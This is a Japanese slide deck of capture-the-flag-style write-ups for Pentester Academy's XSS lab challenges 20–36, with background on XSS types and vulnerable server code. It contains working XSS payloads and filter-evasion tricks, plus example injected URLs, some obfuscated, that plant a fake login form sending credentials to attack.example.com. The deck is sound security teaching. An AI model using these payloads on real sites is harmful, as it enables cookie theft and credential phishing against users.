SlideShare ist ein Scribd-Unternehmen logo
1 von 84
1 /84
長谷川
2 /84
1. Webアプリのペネトレーションテストのスキルアップ
ペンテスト(侵入テスト)のMOOCサイトの問題をガンガン解いていきます。
http://www.pentesteracademy.com/
その1.pptx Challenge 1 ~ Challenge 7 : 認証突破
その2.pptx Challenge 8 ~ Challenge 11 : セッションID突破
その3.pptx Challenge 12 ~ Challenge 15 : トラフィック解析
その4.pptx Challenge 16 ~ Challenge 19 : HTML injection
その5.pptx Challenge 20 ~ Challenge 36 : XSS
その6.pptx以降 Unvalidated Redirects、CSRF
つづく
Wikipediaより
Massive Open Online Course (MOOC、ムーク) はインターネッ
ト上で誰もが無料で受講できる大規模な開かれた講義のことである。
3 /84
 ツール、言語
◦ Burp Suiteの詳細はその4.pptx 参照
◦ その他のツールの説明はその1.pptx~その3.pptx 参照。
 XSS:Cross-site Scripting(前提知識)
 問題 & 解き方 & 解答
4 /844
Pentester Academyの無料の問題からいくつか出題
5 /84
 情報収集:Reconnaissance
◦ 情報を収集する。(データフロー、フィンガープリント、ソース)
 Wireshark、Blind Elephant、httprint
 マッピング:Mapping
◦ ターゲットアプリケーションの検査。
 Burp Spider、SprAJAX、WebScarab
 発見:Discovery
◦ ターゲットアプリケーションの脆弱性の発見。
 エクスプロイト:Exploit
◦ 脆弱性を実証する。
SANS SEC542より
6 /846
問題を解く前に前提知識の勉強。
7 /84
 XSSという脆弱性の位置付け。
XSSはその4.pptxの
injection攻撃の一つ。
共通脆弱性タイプ一覧CWE概説
https://www.ipa.go.jp/security/vuln/CWE.html
8 /84
 攻撃者のスクリプトを標的サイト上のスクリプトとしてユーザーに実行させる攻撃。
 発生条件
① 信頼されないデータがrequestからWebアプリケーションに入力される。
② ①のデータをもとにして動的にWebページが生成される。
③ 動的に生成されるページ上で実行可能なコンテンツ(Javascript、Flash等)を含めることができる。
④ ユーザーは①②③で生成されたWebページにアクセスする。
⑤ ユーザーのWebブラウザが④のWebページを要求したWebサーバーのドメインとして実行する。
攻撃者
Web
サーバー
Request
ユーザー Webページ
Response(Webページ)
ユーザー
Request+攻撃スクリプトアクセスさせる
Request(+攻撃スクリプト)
Response(Webページ+攻撃スクリプトの実行)
Webページ
通常の動作
XSSの動作例
9 /84
Type 1 Reflected XSS
反射型XSS
Non-Persistent
非永続的
ユーザーのrequestに攻撃スクリプトを注入し、Web
サーバーが生成したWebページをユーザーがブラウザ
等で開くときに攻撃が実行される。
前ページの「XSSの動作例」の動作。
標的型攻撃でよく利用される。
Type 2 Stored XSS
格納型XSS
Persistent
永続的
攻撃スクリプトを標的サイトのデータベース、フォーラム、
ログ等に格納しておく。ユーザーがサイトにアクセスす
ると攻撃が実行される。
Type 0 DOM-Based XSS
DOMベースXSS
ユーザー側(ブラウザ等)で動的Webページを生成する
スクリプトに攻撃スクリプトを注入する。Webサーバー
からのresponseをもとに、ブラウザが動的にWebペー
ジを生成すると攻撃が実行される。
(参考)CWEにおけるXSSの定義
http://cwe.mitre.org/data/definitions/79.html
10 /84
 HTTP GETのuserパラメーターに基づき、Webページに
Welcomeメッセージを表示する(動的なWebページ生成)。
PHPのコード(welcome.php)
$username = $_GET['user'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
攻撃スクリプト例①(userに下線赤字のパラメーター(攻撃スクリプト)を設定)
http://trustedSite.example.com/welcome.php?user=<Script
Language="Javascript">alert("You've been attacked!");</Script>
上記は単にポップアップが表示されるだけ。
攻撃者は上記のURLを偽装してメール送信したりする(標的型攻撃)。
次のスライドにもう少し攻撃的な例を示す。
11 /84
攻撃スクリプト例②(userに下線赤字のパラメーター(攻撃スクリプト)を設定)
http://trustedSite.example.com/welcome.php?user=<div
id="stealPassword">Please Login:<form name="input"
action="http://attack.example.com/stealPassword.php"
method="post">Username: <input type="text" name="username"
/><br/>Password: <input type="password" name="password" /><input
type="submit" value="Login"/></form></div>
上記はログインフォームを生成する攻撃スクリプト。
入力した内容を攻撃者に送信する攻撃スクリプトも追加し、ユーザーが攻撃用ページと
気付かずユーザー名/パスワードを入力すると、攻撃者に情報を知られてしまう。
Webブラウザの画面
12 /84
攻撃スクリプト例③(userに下線赤字のパラメーター(攻撃スクリプト)を設定)
http://trustedSite.example.com/welcome.php?user=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2
FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%
22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+t
ype%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
上記は攻撃スクリプト例③と同様の攻撃スクリプトをエンコードしたもの。
URLが怪しいと気付かれないように、URLはエンコード等して難読化されることが多い。
攻撃スクリプト例④(userに下線赤字のパラメーター(攻撃スクリプト)を設定)
http://trustedSite.example.com/welcome.php?user=<script+type="text/javascript">
document.write('u003Cu0064u0069u0076u0020u0069u0064u003Du0022u0073u0074u0065u0061u006Cu0050u0061u0073u0073
u0077u006Fu0072u0064u0022u003Eu0050u006Cu0065u0061u0073u0065u0020u004Cu006Fu0067u0069u006Eu003Au003Cu0
066u006Fu0072u006Du0020u006Eu0061u006Du0065u003Du0022u0069u006Eu0070u0075u0074u0022u0020u0061u0063u007
4u0069u006Fu006Eu003Du0022u0068u0074u0074u0070u003Au002Fu002Fu0061u0074u0074u0061u0063u006Bu002Eu0065u
0078u0061u006Du0070u006Cu0065u002Eu0063u006Fu006Du002Fu0073u0074u0065u0061u006Cu0050u0061u0073u0073u00
77u006Fu0072u0064u002Eu0070u0068u0070u0022u0020u006Du0065u0074u0068u006Fu0064u003Du0022u0070u006Fu0073
u0074u0022u003Eu0055u0073u0065u0072u006Eu0061u006Du0065u003Au0020u003Cu0069u006Eu0070u0075u0074u0020u0
074u0079u0070u0065u003Du0022u0074u0065u0078u0074u0022u0020u006Eu0061u006Du0065u003Du0022u0075u0073u006
5u0072u006Eu0061u006Du0065u0022u0020u002Fu003Eu003Cu0062u0072u002Fu003Eu0050u0061u0073u0073u0077u006Fu
0072u0064u003Au0020u003Cu0069u006Eu0070u0075u0074u0020u0074u0079u0070u0065u003Du0022u0070u0061u0073u00
73u0077u006Fu0072u0064u0022u0020u006Eu0061u006Du0065u003Du0022u0070u0061u0073u0073u0077u006Fu0072u0064
u0022u0020u002Fu003Eu003Cu0069u006Eu0070u0075u0074u0020u0074u0079u0070u0065u003Du0022u0073u0075u0062u0
06Du0069u0074u0022u0020u0076u0061u006Cu0075u0065u003Du0022u004Cu006Fu0067u0069u006Eu0022u0020u002Fu003
Eu003Cu002Fu0066u006Fu0072u006Du003Eu003Cu002Fu0064u0069u0076u003Eu000D');</script>
13 /84
 HTTP requestから従業員ID eidを取得し、表示する。
JSPのコード例
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
上記は、eidが英数字のみを含む場合は正しく動作する。
スクリプトを含む場合は攻撃スクリプトがWebブラウザで実行される。
ASP.NETのコード例
...
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label eid;
...
EmployeeID.Text = Login.Text;
... (HTML follows) ...
<p><asp:label id="eid" runat="server" /></p>
...
14 /84
 ユーザーが指定したIDの従業員をDBで照会し、名前を出力する。
表示するnameはアプリケーションで管理されているDBのデータなので安全そうに見える。
しかし、nameの生成方法がユーザーが指定のeidに基づく場合、DBに攻撃スクリプトを仕
込み、そのスクリプトを呼び出すことで攻撃が引き起こされる可能性がある。
JSPのコード例
<%
...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>
15 /84
IPAのセキュア・プログラミング講座等を参照。攻撃手法を学ぶことも重要。
 IPAのセキュア・プログラミング講座
内容は古いが結構参考になる。
https://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html
 Exploit Database
各種injection攻撃をはじめとした実際の攻撃コードのデータベース。
https://www.exploit-db.com/
 CWE(Common Weakness Enumeration)
各種脆弱性の分類情報と実例、対策が書いてある。
http://cwe.mitre.org/data/definitions/79.html
 その他
チートシート等。今回の問題はほぼチートシートを参考にして解いた。
結構試行錯誤しています。ツールとかAIとか使えばもっと楽だったかも。
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://brutelogic.com.br/blog/cheat-sheet/
16 /8416
Challenge 20 ~ Challenge 36
(重要)セキュリティレベルを最弱にしたIE11でやりました。
セキュリティレベルが高いとかブラウザによっては想定動作に
ならないかも。
17 /84
Challenge 20: XSS
http://pentesteracademylab.appspot.com/lab/webapp/xss/1
 目的
◦ XSSを使い、alertでcookieを表示する。
Fetchボタンを押すと、
テキストボックスに
入力したテキストが表示される。
18 /84
 情報収集:Reconnaissance
ソースを見るとただ表示しているだけ。
Cookieはこんな感じで送られてくる。
19 /84
 情報収集:Reconnaissance
使えるタグ、スクリプトを特定するためいろいろ入力する。
入力候補はXSSチートシートから適当にピックアップ。
入力 結果
<script>alert(1)</script> &lt;script&gt;alert(1)&lt;/script&gt;
<iframe src=javascript:alert(1)> &lt;iframe src=javascript:alert(1)&gt;
<iframe src="" onfocus="alert(1)"> <iframe src="" onfocus="alert(1)">
<iframe src="" onmouseout="alert(1)"> <iframe src="" onmouseout="alert(1)">
iframe + イベントの組み合わせで任意のスクリプトが実行可能とわかった。
イベントメソッドにJavaScriptを注入できる。
(参考)HTML Event Attributes
https://www.w3schools.com/tags/ref_eventattributes.asp
こんな感じでポップアップが表示される。
あとはCookieを表示してやればよい。
20 /84
 マッピング:Mapping
 発見:Discovery
JavaScriptではdocument.cookieでdocumentのcookieを取得可能。
(参考)Web APIインターフェース
https://developer.mozilla.org/ja/docs/Web/API/Document
前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<iframe src="" onmouseout="alert(document.cookie)">
21 /84
iframe領域からマウスポインタを離すと
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
22 /84
Challenge 21: XSS II
http://pentesteracademylab.appspot.com/lab/webapp/xss/1
 目的
◦ XSSを使い、alertでCookieを表示する。
 ヒント
◦ imgタグを使う。
Sendボタンを押すと、
テキストボックスに
入力したテキストが表示される。
23 /84
 情報収集:Reconnaissance
ソースを見ると、こうなっている。
jsの部分
<script>
function click123(event){
term = this["usermsg"].value
$.post("/lab/webapp/xss/2",{message:term}, function( data ) {
$( ".chatbox" ).append( data );
});
}</script>
HTMLの部分
<div style="width:450px;height:300px" class="form-signin" >
<h2 class="form-signin-heading">Safe Echo Chat v1.0</h2>
<div style="width:400px;height:150px;overflow:auto;" class="chatbox" >
</div>
<br>
<input name="usermsg" type="text" id="usermsg" size="10" />
<input name="submitmsg" type="submit" id="submitmsg" value="Send"
onclick="click123()" class="btn btn-large btn-primary" />
</div>
画面の構成はシンプル
②テキストボックス
③ボタン
①チャット
④Sendボタンを押すと動作するJavaScript
①
② ③
Sendボタンがクリックされると
jsのclick123が呼ばれる。
click123はテキストボックス
の値をPOSTしている。
詳細は次スライド。
24 /84
 情報収集:Reconnaissance
jsの部分の詳細。このページでは、jQueryを使っている。
append()、post()はjQueryの関数。
jsの部分
<script>
function click123(event){
term = this["usermsg"].value
$.post("/lab/webapp/xss/2",{message:term}, function( data ) {
$( ".chatbox" ).append( data );
});
}</script>
(参考)jQueryのpost API
https://api.jquery.com/jQuery.post/
①termにusermsgの値を代入
②key=message, value=termを
/lab/webapp/xss/2にPOSTし、
③responseが返ってきたら
応答データをchatboxに連結。
25 /84
 情報収集:Reconnaissance
まとめ
Web
サーバー
HTML js
②usermsgにtestを代入。
onclickを呼び出し。
①文字入力(test)、
Sendクリック
ユーザー
③key=message、
value=testでPOST。
Request
Response
④responseを
chatboxに結合
※request/responseは実際のパケット
⑤結果
26 /84
 情報収集:Reconnaissance
使えるタグ、スクリプトを特定するためいろいろ入力する。
入力候補はXSSチートシートから適当にピックアップ。imgタグ中心に精査。
入力 Responseデータ
<img src="" onerror="alert(1)"> <img src="" deletederror="alert(1)">
<img ""> <img "">
<img src="javascript:alert(0);"> &lt;img src="javascript:alert(0);"&gt;
<img """><script>alert(1)</script>"> <img """><script>alert(1)</script>">
前と同じイベントを使う方法は対策済み。
Malformed IMG tagが使用できた。
(参考)XSS Filter Evasion Cheat Sheet / Malformed IMG tags
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
こんな感じでポップアップが表示される。
あとはCookieを表示してやればよい。
27 /84
 マッピング:Mapping
 発見:Discovery
jsではdocument.cookieでdocumentのcookieを取得可能。
(参考)Web APIインターフェース
https://developer.mozilla.org/ja/docs/Web/API/Document
前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<img """><script>alert(document.cookie)</script>">
28 /84
前スライドの攻撃スクリプトをSendすると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
29 /84
Challenge 22: XSS III
http://pentesteracademylab.appspot.com/lab/webapp/xss/4
 目的
◦ XSSを使い、alertでCookieを表示する。
ドロップダウンリストから
車メーカーを選択し、
Submitボタンを押すと、
車の台数が表示される。
30 /84
 情報収集:Reconnaissance
ソースを見るとドロップダウンリストから選択した「BMW」をそのまま表示していると思わ
れるところが2箇所ある。
Requestパケット
RequestパケットのKey=productの値に
攻撃スクリプトを注入する。
31 /84
 マッピング:Mapping
 発見:Discovery
productをコメントを終端する攻撃スクリプトに書き換える。
書き換えにはBurp Suteを使う。
Burp Proxyの使い方はその4.pptx参照。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
--><input onmouseout="alert(document.cookie)">
32 /84
前スライドの攻撃スクリプトを注入すると
テキストボックスが表示され、テキストボッ
クスからマウスを離した時にポップアップ
が表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している
パケットのcookie
XSSで表示したcookie
33 /84
Challenge 23: XSS IV
http://pentesteracademylab.appspot.com/lab/webapp/xss/5
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストを入力して
Fetchボタンを押すと
検索結果が表示される。
34 /84
 情報収集:Reconnaissance
ソースを見るとただ表示しているだけ。 Request POST
ソース
requestの値を
そのままvalueに設定している。
35 /84
 マッピング:Mapping
 発見:Discovery
valueを終端し、cookieを表示する攻撃スクリプトを入力する。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
"><script>alert(document.cookie)</script>
<input type="text" value=""><script>alert(document.cookie)</script> ...
となって、alertでcookieが表示される。
36 /84
前スライドの攻撃スクリプトをFetchすると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
37 /84
Challenge 24: XSS V
http://pentesteracademylab.appspot.com/lab/webapp/xss/6
 目的
◦ XSSを使い、alertでCookieを表示する。
グラフが表示されるページ。
38 /84
 情報収集:Reconnaissance
ソースを見るGoogle Chart APIでグラフを作成している。
怪しい短縮URLがソース内にあった。
復元すると下記のXMLファイルになる。
http://demofilespa.s3.amazonaws.com/chart.xml
このXMLファイルから表示するグラフを生成している。
そのまま表示されるlegentタグに
攻撃スクリプトを注入する方向で検討。
filenameを指定する必要があるみたい。
39 /84
 マッピング:Mapping
 発見:Discovery
攻撃スクリプトの例。
注意点としては、「<」、「>」をエンコードしないとXMLエラーになるということ。
こんな感じでXMLファイルを渡すことができた。
AWSやDropboxを使って直リンでファイルを渡す。
http://pentesteracademylab.appspot.com/lab/webapp/xss/6?filenam
e=https://dl.dropboxusercontent.com/s/XXXXXXXX/chart.xml
URLはダミーです。
ファイルは自分でアップロードしてください。
40 /84
前スライドの攻撃スクリプトを注入した
URLにアクセスすると、ポップアップの中
にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
41 /84
Challenge 25: XSS VI
http://pentesteracademylab.appspot.com/lab/webapp/xss/7
 目的
◦ XSSを使い、alertでCookieを表示する。
ファイルを選択し、
Submitボタンを押すと、
ファイル名が表示される。
42 /84
 情報収集:Reconnaissance
ソースを見るとただ表示しているだけ。
Request POST
実際にファイルをアップロードしている。
表示しているファイル名はfilenameから
取得していると予想。
⇒filenameに攻撃スクリプト注入する。
ソース
43 /84
 マッピング:Mapping
 発見:Discovery
Windowsだとファイル名にスクリプトを設定できないので、Burp Proxyを使い、
requestのfilenameを書き換える。Burp Proxyの使い方はその4.pptx参照。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<script>alert(document.cookie)</script>
ファイル名を攻撃スクリプトに書き換え。
44 /84
前スライドの攻撃スクリプトを注入すると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
45 /84
Challenge 26: XSS VII
http://pentesteracademylab.appspot.com/lab/webapp/xss/8
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Fetchボタンを押すと、
テキストが表示される。
46 /84
 情報収集:Reconnaissance
ソースを見ると非表示データとして時刻をPOST送信、表示している。
Requestパケット
テキストボックス
Fetchボタン
Fetchボタンを押すと実行される
JavaScript
時刻を取得し、time_inputに設定する。
テキストボックスに入力した"test"以外にtime_inputとして時刻が送信されている。
key=search, value=test key=time_input, value=現在時刻
↑送信した時刻が設定されている
※hiddenはセキュリティ的に使わない方がよい
https://www.ipa.go.jp/security/index.html
47 /84
 マッピング:Mapping
 発見:Discovery
inputタグを終端する攻撃スクリプトでtime_inputを書き換える。
Burp Proxyの使い方はその4.pptx参照。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
"><script>alert(document.cookie)</script>
48 /84
前スライドの攻撃スクリプトを注入すると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
パケットのtime_input
49 /84
Challenge 27: XSS VII
http://pentesteracademylab.appspot.com/lab/webapp/xss/10
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Previewボタンを押すと、
入力したカラーコードの色が表示される。
50 /84
 情報収集:Reconnaissance
ソースを見るとテキストボックスの入力値をvalue、background-colorに設定している。
カラーコードを表示しているボタン
valueを終端しcookieを表示する攻撃スクリプトを注入する。
テキストボックスとPreviewボタン
51 /84
 情報収集:Reconnaissance
「<」と「>」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。
入力 Responseデータ
"><script>alert(document.cookie)</script> "&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;
⇒「<」と「>」が「&lt;」と「&gt;」に置き換え(エスケープ、サニタイ
ジング)されている。
"onmouseout="alert(document.cookie)" "onmouseout="alert(document.cookie)"
攻撃スクリプト注入後のソース。
52 /84
前スライドの攻撃スクリプトを注入すると
テキストボックス、カラーコードボタンから
マウスを話した時にポップアップが表示さ
れる。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
53 /84
Challenge 28: XSS IX
http://pentesteracademylab.appspot.com/lab/webapp/xss/11
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Previewボタンを押すと、
入力したカラーコードの色が表示される。
(Challenge 27と同じ)
54 /84
 情報収集:Reconnaissance
ソースを見るとテキストボックスの入力値をvalue、background-colorに設定している。
カラーコードを表示しているボタン
valueを終端しcookieを表示する攻撃スクリプトを注入する。
テキストボックスとPreviewボタン
55 /84
 情報収集:Reconnaissance
「<」と「>」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。
入力 Responseデータ
"><script>alert(document.cookie)</script> "&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;
"
⇒「<」と「>」が「&lt;」と「&gt;」に置き換え(エスケープ、サニタイ
ジング)されている。
" onmouseout="alert(document.cookie)" " deletedmouseout="alert(document.cookie)""
イベントハンドラも対策済み。
" oncontextmenu="alert(document.cookie)" " oncontextmenu="alert(document.cookie)"
(参考)XSS Filter Evasion Cheat Sheet / Event Handlers
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
イベントハンドラを全部試した。
56 /84
前スライドの攻撃スクリプトを注入すると
カラーコードボタンを右クリックした時に
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
57 /84
Challenge 29: XSS X
http://pentesteracademylab.appspot.com/lab/webapp/xss/10
 目的
◦ XSSを使い、alertでCookieを表示する。
◦ 開発者が開発中のページを公開してしまったシチュエーション。
テキストボックスに入力して
Fetchボタンを押すと、
何かを検索するっぽい。
58 /84
 情報収集:Reconnaissance
ソースを見ると、入力されたテキストをデバッグ用の関数で出力している。
入力された文字を出力。
Chromeのデベロッパーツール
"test"と入力すると、testと出力される。
(参考)JavaScript Output
https://www.w3schools.com/js/js_output.asp
59 /84
 マッピング:Mapping
 発見:Discovery
何が入力されてもノーチェックのため、何でも実行可能。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
alert(document.cookie)
フロントエンドの場合はデバッグコードをきちんと消しておきましょう!
60 /84
前スライドの攻撃スクリプトを注入すると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
61 /84
Challenge 30: XSS XI
http://pentesteracademylab.appspot.com//lab/webapp/xss/13
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Fetchボタンを押すと、
何かを検索するっぽい。
62 /84
 情報収集:Reconnaissance
ソースを見ると、入力されたテキストを表示しているだけ。
入力された文字を表示しているだけ。
63 /84
 情報収集:Reconnaissance
使えるタグ、スクリプトを特定するためいろいろ入力する。
入力候補はXSSチートシートから適当にピックアップ。
入力 Responseデータ
<script>alert(document.cookie)</script> <>alert(document.cookie)</>
<input onmouseout=alert(1)> <input onmouseout=alert(1)>
(参考)XSS Filter Evasion Cheat Sheet / Miscellaneous Vectors
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
scriptタグがエスケープ、サニタイジングされるので、他のタグ+イベントを使う。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<input onmouseout=alert(document.cookie)>
64 /84
前スライドの攻撃スクリプトを入力すると
テキストボックスが表示される。
テキストボックスからマウスを離した時に
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
攻撃スクリプトで作成したテキストボックス
65 /84
Challenge 31: XSS XII
http://pentesteracademylab.appspot.com//lab/webapp/xss/14
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Check User IDボタンを押すと、
ユーザーIDをチェックするっぽい。
66 /84
 情報収集:Reconnaissance
ソースを見ると、入力されたテキストを表示しているだけ。
入力された文字を表示しているだけ。
#またこのパターンか。
67 /84
 情報収集:Reconnaissance
攻撃スクリプトをいろいろ入力する。
入力候補はXSSチートシートから適当にピックアップ。
入力 Responseデータ
<script>alert(document.cookie)</script> <deleted>alert(document.cookie)</deleted>
<input onmouseout=alert(1)> <input onmouseout=alert(1)>
(参考)XSS Filter Evasion Cheat Sheet / Miscellaneous Vectors
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
scriptタグがエスケープ、サニタイジングされるので、他のタグのイベントを使う。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<input onmouseout=alert(document.cookie)>
68 /84
前スライドの攻撃スクリプトを入力すると
テキストボックスが表示される。
テキストボックスからマウスを離した時に
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
攻撃スクリプトで作成したテキストボックス
69 /84
Challenge 32: XSS XIII
http://pentesteracademylab.appspot.com//lab/webapp/xss/15
 目的
◦ XSSを使い、alertでCookieを表示する。
URLを開くとログらしきものが表示されている。
70 /84
 情報収集:Reconnaissance
ダミーのログが表示されているかと思ったが、一部にRequestデータが表示されている。
User-Agentヘッダーに攻撃スクリプトを注入する。
Webページ
送信RequestパケットのUser Agentヘッダー。
RequestデータのUser-Agentヘッダー。
71 /84
 マッピング:Mapping
 発見:Discovery
User-Agentヘッダーに攻撃スクリプトを注入する。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<script>alert(document.cookie)</script>
User-Agentヘッダーを攻撃スクリプトに書き換え。
Burp Proxyの使い方はその4.pptx参照。
72 /84
前スライドの攻撃スクリプトを注入すると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
73 /84
Challenge 33: XSS 14
http://pentesteracademylab.appspot.com/lab/webapp/xss/16
 目的
◦ XSSを使い、alertでCookieを表示する。
XMLファイルのURLを入力して
Nextボタンを押すとユーザーを検索するみたい。
指定されたxmlファイルが表示される。
XMLファイルは「filetype:xml」でgoogle検索して
出てきたものを適当に入れた。
74 /84
 情報収集:Reconnaissance
ソースを見ると、入力されたURLをiframeで表示しているだけ。
最近のブラウザはXSS対策が強化されていて、
XSS XMLで検索して出てきた様々なXSS用XMLを入れましたが全部ダメでした!
⇒最近のブラウザはXSS対策が強化されているため、こういうこともある。
問題のページにも一部のブラウザでは動作しないと書いてあった。
(参考)XSS Filter Evasion Cheat Sheet / XML data island with CDATA obfuscation
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
75 /84
Challenge 34: XSS 15
http://pentesteracademylab.appspot.com/lab/webapp/xss/17
 目的
◦ XSSを使い、alertでCookieを表示する。
何も表示されないページ。
76 /84
 情報収集:Reconnaissance
ソースを見るとJavaScriptで下記の処理をやっている。
localStrageはcookieのようなデータをブラウザに保存する仕組み。
localStrage.getItemは指定したKeyの値を返すメソッド。
(参考)Storage.getItem
https://developer.mozilla.org/ja/docs/Web/API/Storage/getItem
Key=infoの値がnullだったら、
ハッシュフラグメントをinfoに設定
Key=infoの値をmsgに設定
Key=infoの値がnullでなかったら、
Key=infoに攻撃スクリプトを設定する方向性。
77 /84
 マッピング:Mapping
 発見:Discovery
localStrageにdivタグを終端する攻撃スクリプトを注入する。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
</div><input onmouseout=alert(document.cookie)><div>
IEの場合、F12開発者ツールを使い、コンソールからlocalStrageを書き換える。
78 /84
前スライドの攻撃スクリプトを注入すると
テキストボックスが表示される。
テキストボックスからマウスを離した時に
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
79 /84
Challenge 35: XSS 16
http://pentesteracademylab.appspot.com/lab/webapp/xss/18
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Fetchボタンを押すと、
何かを検索するっぽい。
80 /84
 情報収集:Reconnaissance
ソースを見ると、入力されたテキストを代入している。
入力された文字を代入している。
ここに攻撃スクリプトを注入する。
試したところ「"」がエスケープされる。
scriptブロックを終了し、新規スクリプトブロックを開始する(Escaping JavaScript escapeというテク)。
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例
</script><script>alert(document.cookie);</script>
(参考)XSS Filter Evasion Cheat Sheet / Escaping JavaScript escapes
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
81 /84
前スライドの攻撃スクリプトを入力すると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie
82 /84
Challenge 36: XSS 16
http://pentesteracademylab.appspot.com/lab/webapp/xss/18
 目的
◦ XSSを使い、alertでCookieを表示する。
テキストボックスに入力して
Renderボタンを押す。
特に何も変わらない。
83 /84
 情報収集:Reconnaissance
ソースを見ると、入力されたテキストから「.」を除去して表示している。
「.」ドット演算子を使わずに、ブラケット演算子「[」、「]」でcookie変数を参照する。
このような攻撃スクリプトが考えられる。
攻撃スクリプトの一例
<script>alert(document['cookie']);</script>
・入力
<script>alert(document.cookie)</script>
・ソース
84 /84
前スライドの攻撃スクリプトを入力すると
ポップアップが表示される。
ポップアップの中にcookieが表示される。
実際に設定されたcookieと一致している。
パケットのcookie
XSSで表示したcookie

Weitere ähnliche Inhalte

Ähnlich wie Web applicationpenetrationtest その5

徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
 
Application Architecture for Enterprise Win Store Apps with DDD Pattern
Application Architecture for Enterprise Win Store Apps with DDD PatternApplication Architecture for Enterprise Win Store Apps with DDD Pattern
Application Architecture for Enterprise Win Store Apps with DDD Pattern
Atsushi Kambara
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
Hiroh Satoh
 
Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性
JPCERT Coordination Center
 
Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版Dalvikバイトコードリファレンスの読み方 改訂版
